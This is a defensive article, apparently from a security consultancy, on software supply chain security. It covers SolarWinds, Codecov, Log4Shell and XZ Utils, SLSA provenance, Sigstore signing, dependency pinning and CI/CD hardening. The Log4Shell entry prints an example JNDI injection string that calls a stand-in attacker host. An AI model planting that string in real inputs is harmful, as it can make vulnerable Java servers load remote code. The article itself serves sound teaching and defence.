Skip to content

Services, Wiki-Artikel, Blog-Beiträge und Glossar-Einträge durchsuchen

↑↓NavigierenEnterÖffnenESCSchließen

Software Supply Chain Security: SLSA, Sigstore and Dependency Management

Software supply chain security protects the entire software development process from compromise—from source code repositories to build systems and package registries. SLSA (Supply-chain Levels for Software Artifacts) defines security levels for build processes. Sigstore enables transparent code signing. This article explains SolarWinds, XZ Utils, and other supply chain attacks, as well as practical countermeasures.

Table of Contents (5 sections)

Software supply chain security has become a key issue following incidents involving SolarWinds (2020), Codecov (2021), Log4Shell (2021), Kaseya (2021), and XZ Utils (2024). Attackers no longer compromise the target company directly—they compromise the software supply chain: build systems, package registries, open-source packages, CI/CD pipelines. The result: a single compromised library → thousands of affected companies.

Known Supply Chain Attacks

SolarWinds (December 2020):
  Attack:    SolarWinds Orion build system compromised
  Method:    Malicious code injected into SUNBURST update
  Spread: ~18,000 companies installed the update
  Affected: U.S. government agencies, Fortune 500 companies
  Attacker:  APT29 (Cozy Bear, Russian SVR)
  Lesson:    Build system security is critical; signed updates alone are not enough

Codecov (April 2021):
  Attack:    Codecov Bash Uploader Script (codecov.io) compromised
  Method:    Attacker modified script to exfiltrate CI/CD environment variables
  Impact: Thousands of CI/CD pipelines sent their ENV VARs (API keys, tokens!)
  Affected: Twilio, Atlassian, HashiCorp (CI/CD secrets compromised)
  Lesson:    Never use external scripts without hash verification!
  Protection:     curl ... | sha256sum --check (always check the hash!)

Log4Shell / Log4j (December 2021):
  CVE:        CVE-2021-44228 (CVSS 10.0)
  Attack:    JNDI lookup feature in Log4j 2.x exploited
  Method:    ${jndi:ldap://attacker.com/exploit} in a crafted log entry
  Pervasiveness: Almost every Java application uses Log4j transitively!
  Lesson:    Transitive dependencies are critical; SBOMs would have helped

XZ Utils (March 2024):
  CVE:        CVE-2024-3094
  Attack:    Long-running social engineering campaign against xz-utils maintainer
  Method:    "Jia Tan" (pseudonym) gained trust over 2 years as a contributor
              Then injected backdoor into release tarball (not in Git repo!)
  Affected:  SSH servers on systemd-based systems (backdoor in sshd)
  Discovered:  Via performance anomaly (250ms login delay)
  Lesson:    Open source maintainers need support; release artifacts ≠ source
              Code provenance is critical (artifact vs. source code)

Typosquatting (ongoing):
  Examples:  "colourama" (instead of "colorama"), "request" (instead of "requests")
  Method:    Identical functionality + malware
  Detection: tools like pip-audit, Safety CLI, Dependabot

SLSA - Supply-chain Levels for Software Artifacts

SLSA (pronounced "salsa") - Framework by Google/CNCF:
  Goal: Tamper protection for software artifacts through build provenance

SLSA Levels (v1.0):

SLSA Level 1 - Provenance present:
  → Build system generates provenance (metadata about the build)
  → Who built it? When? From which source code? With which parameters?
  → Format: SLSA Provenance Attestation (signed JSON)
  → Protects against: unintentional errors, not attacks

SLSA Level 2 - Build Service + Signed Provenance:
  → Hosted build service (GitHub Actions, Cloud Build, GitLab CI)
  → Provenance generated and signed by the build service
  → Source must be under version control
  → Protects against: Individual compromised developer workstations

SLSA Level 3 - Hardened Build Service:
  → Hardened Build: Build environment is ephemeral and auditable
  → No external influence during build
  → Two-party approval for source changes
  → Protects against: compromised build systems (SolarWinds-like!)

SLSA Provenance - what it contains:
  {
    "_type": "https://in-toto.io/Statement/v0.1",
    "predicateType": "https://slsa.dev/provenance/v1",
    "subject": [{
      "name": "myapp:v1.2.3",
      "digest": {"sha256": "abc123..."}  # Hash of the artifact
    }],
    "predicate": {
      "buildDefinition": {
        "buildType": "https://github.com/actions/build@v1",
        "externalParameters": {
          "ref": "refs/tags/v1.2.3",
          "repository": "https://github.com/org/myapp"
        }
      },
      "runDetails": {
        "builder": {"id": "https://github.com/actions/runner"},
        "buildMetadata": {
          "invocationID": "https://github.com/org/myapp/actions/runs/12345"
        }
      }
    }
  }

GitHub Actions - SLSA Level 3 automatically:
  # SLSA Generator Action:
  jobs:
    build:
      uses: slsa-framework/slsa-github-generator/.github/workflows/generator_generic_slsa3.yml@v2
      permissions:
        actions: read
        id-token: write
        contents: write
      with:
        base64-subjects: "${{ needs.build.outputs.hashes }}"
  # Automatically generates SLSA Level 3 Provenance + SBOM!

Verification (Consumer Side):
  # slsa-verifier:
  slsa-verifier verify-artifact myapp.tar.gz \
    --provenance-path myapp.tar.gz.intoto.jsonl \
    --source-uri "github.com/org/myapp" \
    --source-tag "v1.2.3"
  # Output: PASSED: Provenance is valid!

Sigstore - Transparent Code Signing

Sigstore - CNCF project for software signing without key management:

Core components:
  Cosign:   Container image signing
  Fulcio:   Certificate Authority (OIDC-based, short-lived certificates)
  Rekor:    Transparency Log (immutable audit trail)
  Gitsign:  Git commit signing

Cosign - Container image signing:

  # Sign image (keyless - no private key pair required!):
  cosign sign ghcr.io/myorg/myapp:v1.2.3
  # → Opens browser for GitHub/Google/Microsoft OIDC login
  # → Cosign receives short-lived certificate from Fulcio (10 minutes!)
  # → Signature + certificate are stored in Rekor (Transparency Log)
  # → Signature appended to image (OCI Registry)

  # Verification:
  cosign verify ghcr.io/myorg/myapp:v1.2.3 \
    --certificate-identity="https://github.com/myorg/myapp/.github/workflows/build.yml@refs/tags/v1.2.3" \
    --certificate-oidc-issuer="https://token.actions.githubusercontent.com"
  # → Checks: Was the image signed by the GitHub Actions workflow from myorg/myapp?

  # With your own keys (classic):
  cosign generate-key-pair  # Creates cosign.key + cosign.pub
  cosign sign --key cosign.key ghcr.io/myorg/myapp:v1.2.3
  cosign verify --key cosign.pub ghcr.io/myorg/myapp:v1.2.3

Rekor - Transparency Log:
  # All signatures publicly viewable:
  rekor-cli search --email "developer@firma.de"
  rekor-cli get --uuid<uuid>
  # → Immutable: Signature cannot be deleted later!
  # → Similar to Certificate Transparency Logs for TLS

  # Important: Keyless = Email address visible in the log!
  # → Data protection: Use your own keys for private releases

Kubernetes Policy - Allow only signed images:
  # Kyverno Policy:
  apiVersion: kyverno.io/v1
  kind: ClusterPolicy
  metadata:
    name: require-signed-images
  spec:
    validationFailureAction: Enforce
    rules:
    - name: check-image-signature
      match:
        resources:
          kinds: [Pod]
      verifyImages:
      - imageReferences: [&quot;ghcr.io/myorg/*&quot;]
        attestors:
        - count: 1
          entries:
          - keyless:
              subject: &quot;https://github.com/myorg/myapp/.github/workflows/*&quot;
              issuer: &quot;https://token.actions.githubusercontent.com&quot;
  # → No pod will start if the image is not signed by myorg GitHub Actions!

Sigstore in Python (sigstore-python):
  pip install sigstore
  sigstore sign myapp.tar.gz  # Sign
  sigstore verify myapp.tar.gz  # Verify

Dependency Security

Secure dependency management:

Dependency Pinning (exact versions):
  # Python requirements.txt:
  # BAD: no pinning
  requests
  flask

  # GOOD: exact version pinned
  requests==2.31.0
  flask==3.0.0

  # BETTER: Hash-based pinning (content, not just version)
  requests==2.31.0 \
    --hash=sha256:58cd2187423839 \
    --hash=sha256:a240be4fb75534e4 \
  # pip install --require-hashes: forces hash verification!

  # Node.js package-lock.json / pnpm-lock.yaml:
  # Lock file: exact versions + hashes for all transitive dependencies
  npm ci  # Installs from lock file (no upgrade!)
  pnpm install --frozen-lockfile  # Error if lock file is out of date

  # Go go.sum:
  # Cryptographic checksums for all packages
  go mod verify  # Verifies all hashes against go.sum

Private Package Registry:
  # Prevent: Dependency Confusion Attacks
  # Attacker publishes a public package with the same name as an internal one!

  # npm .npmrc:
  @myorg:registry=https://nexus.intern.firma.de/repository/npm/
  always-auth=true
  # → @myorg packages always from the internal registry (not npmjs.com)!

  # pip --index-url:
  pip install --index-url https://nexus.intern/simple/ myinternal-pkg
  # Or: pip.conf
  [global]
  index-url = https://nexus.intern/simple/
  extra-index-url = https://pypi.org/simple/  # As a fallback

Dependency Review (GitHub):
  # .github/workflows/dependency-review.yml
  name: Dependency Review
  on: [pull_request]
  jobs:
    review:
      runs-on: ubuntu-latest
      steps:
        - uses: actions/checkout@v4
        - uses: actions/dependency-review-action@v4
          with:
            fail-on-severity: high
            # Blocks PR if there is a High CVE in a new dependency!

Automatic Vulnerability Alerts:
  Dependabot (GitHub):  Automatic PRs for vulnerable packages
  Renovate (OSS):       Smarter upgrade strategy, groups updates
  Snyk:                 Commercial, excellent developer experience
  pip-audit:            pip install pip-audit → pip-audit (local, free)
  npm audit:            npm audit fix → automatic fixes

Typosquatting protection:
  # Check before installing new packages:
  pip install pypi-simple  # Lists all similar names
  # OSS: confusable-homoglyphs → finds visually similar names
  # Policy: always use @org namespace for internal packages
  # Review: manually review all new packages (contributor check)

CI/CD Pipeline Hardening

CI/CD Security Best Practices:

Secrets Management:
  # NEVER: Secrets in code, job logs, artifacts
  # ALWAYS: Secrets via Secret Store

  # GitHub Actions Secrets:
  - name: Deploy
    env:
      AWS_ACCESS_KEY_ID: ${{ secrets.AWS_ACCESS_KEY_ID }}
    run: aws deploy ...

  # Principle of Least Privilege for Secrets:
  → Deployment Secret: only for the main branch + manually triggered workflows
  → OIDC instead of long-lived Secrets (preferred!):

  # AWS OIDC instead of Access Keys:
  permissions:
    id-token: write
  steps:
  - uses: aws-actions/configure-aws-credentials@v4
    with:
      role-to-assume: arn:aws:iam::123:role/GitHubActions
      aws-region: eu-central-1
  # → No access key stored! Token is short-lived (15 minutes)

Hermetic Builds:
  → Build environment is fully deterministic
  → All dependencies are pinned (exact versions + hashes)
  → No internet access during build (offline build!)
  → Reproducible builds: same input → same output

Build Isolation:
  # Every build: fresh, ephemeral environment
  # NEVER: persistent build workers (could be compromised)
  # GitHub Actions: every job: new container
  # Self-Hosted Runner: Use ephemeral runners (not persistent!)

Code Review Enforcement:
  # Branch Protection Rules (GitHub):
  Required approvals: 2 (four-eyes principle!)
  Require status checks: CI must be green
  Restrict pushes: only via PRs (no direct push to main)
  Signed commits: required (GPG or SSH signing)

  # Git commit signing (Sigstore Gitsign):
  git config --global commit.gpgsign true
  git config --global gpg.format x509
  git config --global gpg.x509.program gitsign
  git config --global gitsign.connectorID https://oauth2.sigstore.dev/auth/github

Dependency Confusion Prevention:
  # npm:
  # package.json: private = true (internal package never published)
  { &quot;name&quot;: &quot;@myorg/internal-lib&quot;, &quot;private&quot;: true }

  # Scoped packages: @myorg/ → internal registry configured
  # .npmrc: @myorg:registry=https://intern-registry/

  # Python: internal package name with company prefix
  # Setup.py: packages = [&quot;myorg_internal_lib&quot;] → difficult to squatt</uuid>

Questions about this topic?

Our experts advise you free of charge and without obligation.

Free Consultation

About the Author

Jan Hörnemann
Jan Hörnemann

Chief Operating Officer · Prokurist

E-Mail

M.Sc. Internet-Sicherheit (if(is), Westfälische Hochschule). COO und Prokurist mit Expertise in Informationssicherheitsberatung und Security Awareness. Nachwuchsprofessor für Cyber Security an der FOM Hochschule, CISO-Referent bei der isits AG und Promovend am Graduierteninstitut NRW.

11 Publikationen
ISO 27001 Lead Auditor (PECB/TÜV) T.I.S.P. (TeleTrusT) ITIL 4 (PeopleCert) BSI IT-Grundschutz-Praktiker (DGI) Ext. ISB (TÜV) BSI CyberRisikoCheck CEH (EC-Council)
This article was last edited on 04.03.2026. Responsible: Jan Hörnemann, Chief Operating Officer · Prokurist at AWARE7 GmbH. License: CC BY 4.0 - free use with attribution: "AWARE7 GmbH, https://a7.de"

Cookielose Analyse via Matomo (selbst gehostet, kein Tracking-Cookie). Datenschutzerklärung